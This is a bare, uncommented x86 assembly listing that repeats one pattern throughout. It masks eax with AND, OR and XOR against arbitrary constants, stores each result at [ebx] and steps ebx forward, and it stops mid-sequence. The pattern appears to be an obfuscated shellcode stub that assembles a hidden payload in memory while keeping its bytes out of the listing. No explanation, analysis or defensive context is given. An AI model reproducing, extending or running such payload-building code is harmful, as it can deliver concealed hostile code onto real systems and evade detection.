add ebx, ecx
and eax, 0x2b7c39e6
and eax, 0x20000182
or eax, 0xc468f415
mov dword [ebx], eax
add ebx, ecx
and eax, 0x51706621
and eax, 0x40606400
or eax, 0x261211e4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x542a8f60
and eax, 0x70584b80
or eax, 0x884001a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x17d604ea
and eax, 0x731b6211
and eax, 0x3080200
or eax, 0x98a00005
mov dword [ebx], eax
add ebx, ecx
and eax, 0x31631998
xor eax, 0x2f9b9380
and eax, 0x2a191100
or eax, 0x1000463
mov dword [ebx], eax
add ebx, ecx
or eax, 0x779fab7e
and eax, 0x65151733
or eax, 0x80600080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x32392ba0
xor eax, 0x2f575fa1
and eax, 0x90200010
or eax, 0x59109ed
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x68981d85
and eax, 0x78200420
or eax, 0x2d2e185
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6a35303d
and eax, 0x2c508
or eax, 0x6300866
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6a687471
and eax, 0x64725166
or eax, 0x90010200
mov dword [ebx], eax
add ebx, ecx
or eax, 0xe6f31b5
and eax, 0x2e741001
or eax, 0x1008008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5ab8dced
and eax, 0x7cf50cca
and eax, 0x7c700488
or eax, 0x2026326
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f7459d6
or eax, 0x7033bbcb
and eax, 0x2262e246
or eax, 0x81880020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x32ea91ea
and eax, 0x2028a184
or eax, 0x44040001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x151c2f2d
and eax, 0x42101
or eax, 0x82b0da72
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6d265f46
and eax, 0x2ea27236
or eax, 0x80
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5b838490
and eax, 0x6401b622
or eax, 0x5e0989
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e8bf0f6
and eax, 0x1b6153f8
and eax, 0x4240
or eax, 0x84861824
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72a166d0
xor eax, 0x18e605d
and eax, 0xa200d
or eax, 0x8ce10c20
mov dword [ebx], eax
add ebx, ecx
and eax, 0x15c29a3e
and eax, 0xd983290
and eax, 0
or eax, 0x4a313df4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x71320928
and eax, 0x1a9ab08e
and eax, 0x100000
or eax, 0x40cde246
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x98729f8
and eax, 0x893c
or eax, 0x26a52000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5038e14
and eax, 0x23a62420
or eax, 0x8c088852
mov dword [ebx], eax
add ebx, ecx
or eax, 0x24ec68e2
xor eax, 0x743b0e32
and eax, 0x82840240
or eax, 0x40a1829
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x39f1714
xor eax, 0x193d5c8
and eax, 0x84801804
or eax, 0x5254a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x602fc7e8
or eax, 0x15b0d765
and eax, 0x61180683
or eax, 0xa410000
mov dword [ebx], eax
add ebx, ecx
or eax, 0xa74b6e2
and eax, 0x77b4344d
and eax, 0x1141441
or eax, 0x40a0386
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x154611b0
and eax, 0x10400035
or eax, 0x89863100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x27e9df0c
xor eax, 0x30fd9fa4
and eax, 0x80d0511d
or eax, 0x510c8c40
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1986e495
and eax, 0x995609d8
or eax, 0x6000002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b88990d
xor eax, 0x766399f3
and eax, 0x20850028
or eax, 0x1602d693
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6446362
xor eax, 0x14e3354b
and eax, 0x8002
or eax, 0x1a163620
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6132d579
and eax, 0x24f0f714
and eax, 0x204000
or eax, 0x5ad68488
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3d16eb
and eax, 0x67e82b25
and eax, 0
or eax, 0x5282f0e2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x37909f4d
and eax, 0x6212006e
or eax, 0x50000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x15305f6d
or eax, 0x7ff5f609
and eax, 0x6563246
or eax, 0x10
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x81f1a98
and eax, 0x2000044
or eax, 0x90329611
mov dword [ebx], eax
add ebx, ecx
or eax, 0x67fd1d2c
and eax, 0xd5bc8c00
or eax, 0x8004082
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4ff3bf30
and eax, 0x7f0749dc
and eax, 0x800
or eax, 0x30ea8689
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xa86ed4f
or eax, 0x622a5b6f
and eax, 0x1a6a7004
or eax, 0x81810010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6a0bb0be
and eax, 0x11c0c0aa
or eax, 0x2172741
mov dword [ebx], eax
add ebx, ecx
and eax, 0x529f9c23
and eax, 0x950423
or eax, 0x9600910
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6a388b5a
and eax, 0x21c00268
or eax, 0x80207816
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1bbd8559
or eax, 0x784f53b8
and eax, 0x700461bf
or eax, 0x4000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x12d7ed36
and eax, 0x4b66f410
and eax, 0x42428400
or eax, 0xb8a47260
mov dword [ebx], eax
add ebx, ecx
or eax, 0x692a5b4e
and eax, 0x6940d266
or eax, 0x4110080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x69a5b92d
and eax, 0x61011020
or eax, 0x165e4302
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7dc6380c
xor eax, 0x5b15b353
and eax, 0x20120343
or eax, 0x100582c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4a0a957
xor eax, 0x4deb0821
and eax, 0x28086809
or eax, 0x142000e0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5d02cbaf
and eax, 0x1c004820
or eax, 0x634d1150
mov dword [ebx], eax
add ebx, ecx
and eax, 0x19933a49
and eax, 0x11040
or eax, 0x4074050d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2212583
and eax, 0x10500
or eax, 0x18d8a8c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3945f1ec
and eax, 0x2094580c
or eax, 0x8661a093
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x663d6ccf
xor eax, 0x5596a488
and eax, 0x110e3090
or eax, 0x20804206
mov dword [ebx], eax
add ebx, ecx
and eax, 0x67df80e3
and eax, 0x18a0000
or eax, 0x4850fe21
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x31033442
and eax, 0x90201
or eax, 0x3223504
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd674fd2
and eax, 0x220600
or eax, 0xd8c8a037
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x53d6467f
and eax, 0xf36b0a
and eax, 0x104000
or eax, 0x450d1111
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5d6d9e95
and eax, 0x24de14c9
and eax, 0x4581481
or eax, 0x1aa20856
mov dword [ebx], eax
add ebx, ecx
and eax, 0xf89f6a5
and eax, 0xe000084
or eax, 0xc022027a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x385ffca3
xor eax, 0x38763441
and eax, 0x84084232
or eax, 0x18061000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3e22c80e
and eax, 0x80200834
or eax, 0x4912581
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75618c92
and eax, 0x70002024
or eax, 0xe2e1a40
mov dword [ebx], eax
add ebx, ecx
and eax, 0x504036fa
or eax, 0x84c7b73
and eax, 0x50001051
or eax, 0x3b10404
mov dword [ebx], eax
add ebx, ecx
and eax, 0x772274d6
and eax, 0x2201004
or eax, 0xa00ba921
mov dword [ebx], eax
add ebx, ecx
and eax, 0x508a7d0
and eax, 0x3ee9d8ec
and eax, 0x80000
or eax, 0x7e0272e3
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4f55019c
xor eax, 0x17728e58
and eax, 0x40028e00
or eax, 0x26016027
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1e094c0e
xor eax, 0x4adced89
and eax, 0x48010104
or eax, 0x21024640
mov dword [ebx], eax
add ebx, ecx
and eax, 0x225e2550
and eax, 0x40
or eax, 0x5a5c3029
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1fba6af0
and eax, 0x1ea43838
or eax, 0x10406
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x25b058fc
and eax, 0x33052402
or eax, 0x800a0230
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4a56866c
and eax, 0x92078656
or eax, 0x1181
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1bb5aea5
and eax, 0x12c8e8a9
and eax, 0x800800
or eax, 0x687a969e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x37ec901f
or eax, 0xef79c26
and eax, 0x4d71869e
or eax, 0x100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5f32e08b
and eax, 0x54700019
or eax, 0xa0041000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x270a6c36
and eax, 0x71141010
or eax, 0x18180
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1de15fd6
and eax, 0x45851550
or eax, 0x82020021
mov dword [ebx], eax
add ebx, ecx
or eax, 0x573b7d15
and eax, 0x51185951
or eax, 0x840000a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x69ddffe
and eax, 0x181918
or eax, 0xefc5a425
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5ab65d0a
and eax, 0x16dde4a2
and eax, 0x2040400
or eax, 0xe443f342
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f3b86c1
xor eax, 0x14923e5d
and eax, 0x80aa0f1e
or eax, 0x4210a021
mov dword [ebx], eax
add ebx, ecx
or eax, 0x446aee05
and eax, 0xc0b82f0b
or eax, 0x30040000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3bb9c1fd
and eax, 0x49002074
or eax, 0x24400000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7f17c6a7
or eax, 0x49b55e03
and eax, 0x45815821
or eax, 0x124aa190
mov dword [ebx], eax
add ebx, ecx
and eax, 0x22c149d1
and eax, 0x2810980
or eax, 0x541ea406
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1937e1a8
and eax, 0x1c2cbf80
and eax, 0x10048100
or eax, 0xa4d04072
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6da2d118
and eax, 0x48640060
or eax, 0x24096480
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2cade33f
and eax, 0x68640642
or eax, 0x13120800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6519a7ce
and eax, 0x71d1aaa7
and eax, 0x61000002
or eax, 0xc87d1c5
mov dword [ebx], eax
add ebx, ecx
or eax, 0x365354d6
and eax, 0x154415
or eax, 0x80808
mov dword [ebx], eax
add ebx, ecx
or eax, 0x25685ddb
and eax, 0xaa46570
and eax, 0x500
or eax, 0x30011202
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5730daa4
and eax, 0x10001000
or eax, 0x277784f1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x270dd387
or eax, 0x294a90a3
and eax, 0x38408191
or eax, 0xc2050000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x41ef85db
or eax, 0x3f9c81f1
and eax, 0x41d580e0
or eax, 0x80026602
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4414794b
xor eax, 0x495a7f0f
and eax, 0x88080044
or eax, 0x2320271b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x308d0c69
and eax, 0x332c2f5b
or eax, 0x4520000
mov dword [ebx], eax
add ebx, ecx
or eax, 0xd8cba03
and eax, 0x12f69611
or eax, 0x80004000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3e1c16ef
or eax, 0x899c86
and eax, 0x2c63dce6
or eax, 0x42042300
mov dword [ebx], eax
add ebx, ecx
and eax, 0x17d94e6e
or eax, 0x133a9058
and eax, 0x1649c82e
or eax, 0xc0842101
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5de12594
and eax, 0x50410000
or eax, 0x8b1258ca
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c405940
and eax, 0x7dfc05f6
and eax, 0x40
or eax, 0x317c098
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x43a84e01
and eax, 0x67c9e018
and eax, 0x40888010
or eax, 0x3e403022
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3f95a718
and eax, 0x1e002000
or eax, 0x16b0e2d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d32a9ee
and eax, 0x15332b08
or eax, 0xe0801010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x35c10759
and eax, 0x3f8368dd
and eax, 0x2801
or eax, 0x9a9dc19e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x743efcdd
xor eax, 0xfe6aae8
and eax, 0x90514531
or eax, 0x28480c0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2e606a95
xor eax, 0x37e1184a
and eax, 0x4811809
or eax, 0x42160300
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1935d574
or eax, 0x45250e0d
and eax, 0x424c425
or eax, 0x80402000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3c1e2c8d
or eax, 0x6a230587
and eax, 0x6c430c27
or eax, 0x800000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7cd03986
and eax, 0x20400800
or eax, 0x1231c188
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x69e668f1
and eax, 0x2818149
or eax, 0x4601e84
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7b266a82
and eax, 0x280
or eax, 0xd5114140
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x41db9cee
and eax, 0x80425a20
or eax, 0x6b040010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4dd01d97
and eax, 0x40001810
or eax, 0x828a446e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x47825dc5
and eax, 0x4000099
or eax, 0x3250f400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2d41882d
xor eax, 0x283e02d5
and eax, 0x1603fe48
or eax, 0x88000016
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2db55a93
and eax, 0x111c9e
or eax, 0x40480100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x362678db
and eax, 0x76764501
or eax, 0x80800a30
mov dword [ebx], eax
add ebx, ecx
and eax, 0xc49f654
and eax, 0x3af990bb
and eax, 0
or eax, 0x269acb60
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7cf8fbb5
and eax, 0x4908200
or eax, 0x9b233058
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5d6c1615
xor eax, 0x3c118560
and eax, 0x4100201d
or eax, 0x100802
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75dc599c
and eax, 0x14cc7101
or eax, 0xa108c7c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6a8662b0
or eax, 0x417d6d51
and eax, 0x42d96940
or eax, 0x1400000a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18ce495d
xor eax, 0x5d92b44
and eax, 0x49400942
or eax, 0xb4002000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7961fba1
and eax, 0x802190e1
or eax, 0x5bde2800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x29205ad2
and eax, 0xc0082001
or eax, 0xc00098c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x76f2750c
and eax, 0x3a526884
or eax, 0x10040
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb6032d1
and eax, 0x2400040
or eax, 0xc13e4a3e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x15a7f301
xor eax, 0x227d7546
and eax, 0x23580040
or eax, 0xdc808828
mov dword [ebx], eax
add ebx, ecx
and eax, 0x29c7929e
and eax, 0x21c00000
or eax, 0x163f7db4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5eab6756
xor eax, 0x577f0536
and eax, 0x22201b10
or eax, 0xc184a000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x34825611
and eax, 0x5322e501
or eax, 0x285800c2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x65fbeafc
and eax, 0x2150a000
or eax, 0x8c050937
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6727e062
xor eax, 0x5f017ae8
and eax, 0x10228094
or eax, 0x6010840
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1a0a5414
and eax, 0x1a22cc94
or eax, 0x40142220
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7c25bb30
and eax, 0x7d5ad0a8
and eax, 0x50000020
or eax, 0x84286252
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6e8f9f93
or eax, 0x4cc7bcd2
and eax, 0x40cd94d2
or eax, 0xb230400d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2306b9d6
or eax, 0x2b6dd02a
and eax, 0x934a9c93
or eax, 0x200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1abed3d9
and eax, 0x64b539f2
and eax, 0x100112
or eax, 0xf60b0229
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6dfc5700
xor eax, 0x42c7144c
and eax, 0x90000062
or eax, 0x2692a888
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d495f4
and eax, 0x20000a0
or eax, 0xec020f0f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x15ecc073
or eax, 0x389bad02
and eax, 0xab7504de
or eax, 0x4001021
mov dword [ebx], eax
add ebx, ecx
and eax, 0x20c0aa80
and eax, 0x20400000
or eax, 0xca986d4d
mov dword [ebx], eax
add ebx, ecx
and eax, 0xa023e89
and eax, 0x2808
or eax, 0x602fc3f2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e907e1
or eax, 0x338f9faf
and eax, 0x6282b80a
or eax, 0x88100000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2dbc2ac1
and eax, 0x87028243
or eax, 0x816920
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f40c356
and eax, 0xb82ca76
or eax, 0x20201400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x68c66297
and eax, 0x41049c41
or eax, 0x49a4018
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5cc1d20c
or eax, 0x7f7c1c55
and eax, 0x1b049c44
or eax, 0x32120
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7d37a05e
or eax, 0x670c89dc
and eax, 0x5938a998
or eax, 0x804001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3d9107b1
and eax, 0x7589c090
or eax, 0x80440040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x678dfe2f
and eax, 0x82403a8e
or eax, 0x924000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4ff1dbf
and eax, 0x79674402
and eax, 0x210400
or eax, 0x1a988a32
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6bed51bd
and eax, 0x5d671a27
and eax, 0x41401006
or eax, 0xaaba6500
mov dword [ebx], eax
add ebx, ecx
and eax, 0x749cab5c
and eax, 0x40980000
or eax, 0x96671238
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7047815c
and eax, 0x10460008
or eax, 0xcb8de86
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6e66c4d4
or eax, 0x2eb0aac6
and eax, 0x12f48e52
or eax, 0x81000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x528e16f5
and eax, 0x13810a5
or eax, 0x32846518
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5c66298f
and eax, 0x7b620c0c
or eax, 0x8040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x61db4f64
or eax, 0x6f6c9f92
and eax, 0x353a9412
or eax, 0x80002000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7306f214
and eax, 0x20010
or eax, 0xccd44f4a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x28e09c69
or eax, 0x114cdb83
and eax, 0x25b40100
or eax, 0x2010004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6785990a
and eax, 0x109806
or eax, 0x21490220
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6072ade3
and eax, 0x402a2004
or eax, 0xb8140820
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5d1f0ca4
or eax, 0x4c74324b
and eax, 0x81341089
or eax, 0x10088110
mov dword [ebx], eax
add ebx, ecx
or eax, 0x61e973dd
and eax, 0x206d20d8
or eax, 0x4000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5de726eb
or eax, 0xf1da5a0
and eax, 0x1d4c844b
or eax, 0x80000800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xd44747e
and eax, 0x80005015
or eax, 0x8130680
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4fd5b77d
xor eax, 0x7887fba
and eax, 0xd11600b
or eax, 0x40221210
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c348132
xor eax, 0x5c4769d5
and eax, 0x10666883
or eax, 0x24009628
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5598722c
and eax, 0x352c0d1a
and eax, 0x52c080a
or eax, 0x48c38355
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4c9d7ec4
and eax, 0x1327118
or eax, 0x8080860
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3f22c9d
xor eax, 0x3afa6e53
and eax, 0x310012aa
or eax, 0xc495ac51
mov dword [ebx], eax
add ebx, ecx
or eax, 0x487c7044
and eax, 0xcdfc92c4
or eax, 0x20000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x604fad7d
and eax, 0x4acedb81
and eax, 0x440000
or eax, 0x3820467f
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb9a9a78
and eax, 0x5e780d64
and eax, 0x20
or eax, 0x472f3b98
mov dword [ebx], eax
add ebx, ecx
and eax, 0x36ffa3d9
or eax, 0x7230fd29
and eax, 0x641830b8
or eax, 0x89400000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5823809
and eax, 0xa4d23098
or eax, 0x1225c444
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe1039cd
xor eax, 0x4da6439b
and eax, 0xd4008288
or eax, 0x2964111
mov dword [ebx], eax
add ebx, ecx
and eax, 0xbb162f2
and eax, 0x904080
or eax, 0x71018409
mov dword [ebx], eax
add ebx, ecx
and eax, 0x236bee61
xor eax, 0x79f7cd4c
and eax, 0x1084094d
or eax, 0x501a0b2
mov dword [ebx], eax
add ebx, ecx
or eax, 0xa6fe6db
and eax, 0x1669decc
and eax, 0x1629c644
or eax, 0xe9923003
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb2d950e
or eax, 0x5cebd06b
and eax, 0xcab5064e
or eax, 0x10
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe1caca1
xor eax, 0x4b4faf17
and eax, 0x11b0815
or eax, 0x2a801040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x508c2e77
and eax, 0x800801
or eax, 0xcf633328
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2faabc92
and eax, 0x72fcc197
and eax, 0x22880082
or eax, 0x88003e08
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x308e97e2
or eax, 0x23488e77
and eax, 0xab468a67
or eax, 0x4911080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1452a03c
and eax, 0xb1041a9b
or eax, 0x44020000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x914b030
or eax, 0x599b6ac7
and eax, 0x511a4a40
or eax, 0x84400120
mov dword [ebx], eax
add ebx, ecx
and eax, 0xea5822c
and eax, 0x4000000
or eax, 0xab68f911
mov dword [ebx], eax
add ebx, ecx
and eax, 0x49e9a757
and eax, 0x1000011
or eax, 0xe29510e6
mov dword [ebx], eax
add ebx, ecx
and eax, 0x307dbb32
and eax, 0x20011032
or eax, 0xc76a2441
mov dword [ebx], eax
add ebx, ecx
and eax, 0x132a79ca
xor eax, 0x6185aed4
and eax, 0x60298a92
or eax, 0x4104009
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe8f1939
xor eax, 0x2cd7f06a
and eax, 0x66121c0
or eax, 0xb088d825
mov dword [ebx], eax
add ebx, ecx
or eax, 0x57205f58
and eax, 0x73a8b660
or eax, 0x8060002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4de4c44c
and eax, 0x3cdc0c13
and eax, 0x38480400
or eax, 0xc0032031
mov dword [ebx], eax
add ebx, ecx
and eax, 0x533d7fc4
and eax, 0x10000400
or eax, 0x204899c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x77a5b5d
or eax, 0x3ca3a8f5
and eax, 0x192d1465
or eax, 0x2000108
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5f907806
and eax, 0x3000004
or eax, 0xc0596de9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2ccfc076
and eax, 0xa396291b
or eax, 0x84044
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6dbec453
and eax, 0x20004053
or eax, 0x54213d2c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2d390f74
and eax, 0x71216030
or eax, 0x80000080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x27568a48
or eax, 0x13b96180
and eax, 0x831ea120
or eax, 0x20001406
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3cbdfc61
or eax, 0x43c9eb5
and eax, 0xf1f9b47
or eax, 0x400000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4f43fc69
xor eax, 0x4aa9e96c
and eax, 0x45c8100c
or eax, 0x9a148a52
mov dword [ebx], eax
add ebx, ecx
or eax, 0x77dc5e9
xor eax, 0x108c72d
and eax, 0x5a151852
or eax, 0x2100e50c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1fd492e5
and eax, 0x24016883
or eax, 0x100c8040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5faf209c
xor eax, 0x6b9a9b13
and eax, 0x79813910
or eax, 0x40446c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x37c5ae0e
and eax, 0x2008000
or eax, 0x90280808
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x16b09f4f
and eax, 0x4100347
or eax, 0x5961a8a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x362443b
and eax, 0x4210a708
or eax, 0x80cc0003
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7c7c181b
and eax, 0x32401491
and eax, 0x12401011
or eax, 0x49906b6a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7696bace
or eax, 0x6294df2f
and eax, 0x7514e15c
or eax, 0x10000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x20d8b373
xor eax, 0x27d1bcc4
and eax, 0x6c10c10
or eax, 0xa80ce249
mov dword [ebx], eax
add ebx, ecx
and eax, 0x76342436
and eax, 0x22040010
or eax, 0xc8529282
mov dword [ebx], eax
add ebx, ecx
and eax, 0x620fd44
and eax, 0x2009000
or eax, 0x5812236a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2fb50775
or eax, 0x23e5e857
and eax, 0x29c18a65
or eax, 0x94001480
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3fc78699
and eax, 0x6ce8d7c3
and eax, 0x1040
or eax, 0x2c2fafbe
mov dword [ebx], eax
add ebx, ecx
and eax, 0x30d68003
and eax, 0x68002
or eax, 0x20166a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4e6085da
xor eax, 0x3e1e155
and eax, 0x480002aa
or eax, 0x3278f940
mov dword [ebx], eax
add ebx, ecx
and eax, 0x186b8a2e
and eax, 0x158ca819
and eax, 0x10000800
or eax, 0x3130c2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x24f195de
and eax, 0x301000
or eax, 0xafc0a61d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4152bccc
and eax, 0x1ae6eda3
and eax, 0x400400
or eax, 0x180c0856
mov dword [ebx], eax
add ebx, ecx
or eax, 0x570ddb74
and eax, 0x4e054116
or eax, 0xa0102088
mov dword [ebx], eax
add ebx, ecx
and eax, 0x622a2861
and eax, 0x2002000
or eax, 0x9d741eab
mov dword [ebx], eax
add ebx, ecx
or eax, 0x38eb30f9
and eax, 0x24a43802
or eax, 0xc004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x74f37685
xor eax, 0x7944cb1a
and eax, 0x14c4901c
or eax, 0xa0104060
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73c3f428
xor eax, 0x395748b0
and eax, 0x80088c8
or eax, 0x21754030
mov dword [ebx], eax
add ebx, ecx
or eax, 0x43113fd2
or eax, 0x22687242
and eax, 0x63549168
or eax, 0x90020004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5eea64e
or eax, 0x3f7ce13b
and eax, 0x1d70340b
or eax, 0x10004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x613f4ffd
and eax, 0x250a1112
or eax, 0x2808000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x150179d6
and eax, 0x4001112
or eax, 0x8af34825
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c170335
or eax, 0x564f8048
and eax, 0xc5f8000
or eax, 0x1803482
